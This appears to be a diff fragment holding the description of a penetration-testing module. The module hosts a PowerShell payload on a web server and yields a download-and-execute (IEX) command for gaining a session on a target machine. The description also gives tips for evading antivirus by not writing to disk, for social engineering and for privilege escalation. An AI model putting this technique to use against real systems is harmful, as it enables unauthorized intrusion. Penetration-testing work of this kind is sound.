+				Quickly fires up a web server that serves the payload in powershell.
+				The command will start powershell and then download and execute the payload.
+				You can extract the IEX command to execute directly from powershell.
+				The main purpose of this module is to quickly establish a session
+				on a target machine when you have to manually type in the command yourself,
+				e.g. RDP Session, Local Access or maybe Remote Command Exec.
+				This does not write to disk so is unlikely to trigger AV solutions and will
+				allow you to attempt local privilege escalations supplied by meterpreter etc.
+				You could also try your luck with social engineering.
+				Ensure your payload architecture matches the target computer or use SYSWOW64
+				powershell.exe to execute x86 payloads on x64 machines.
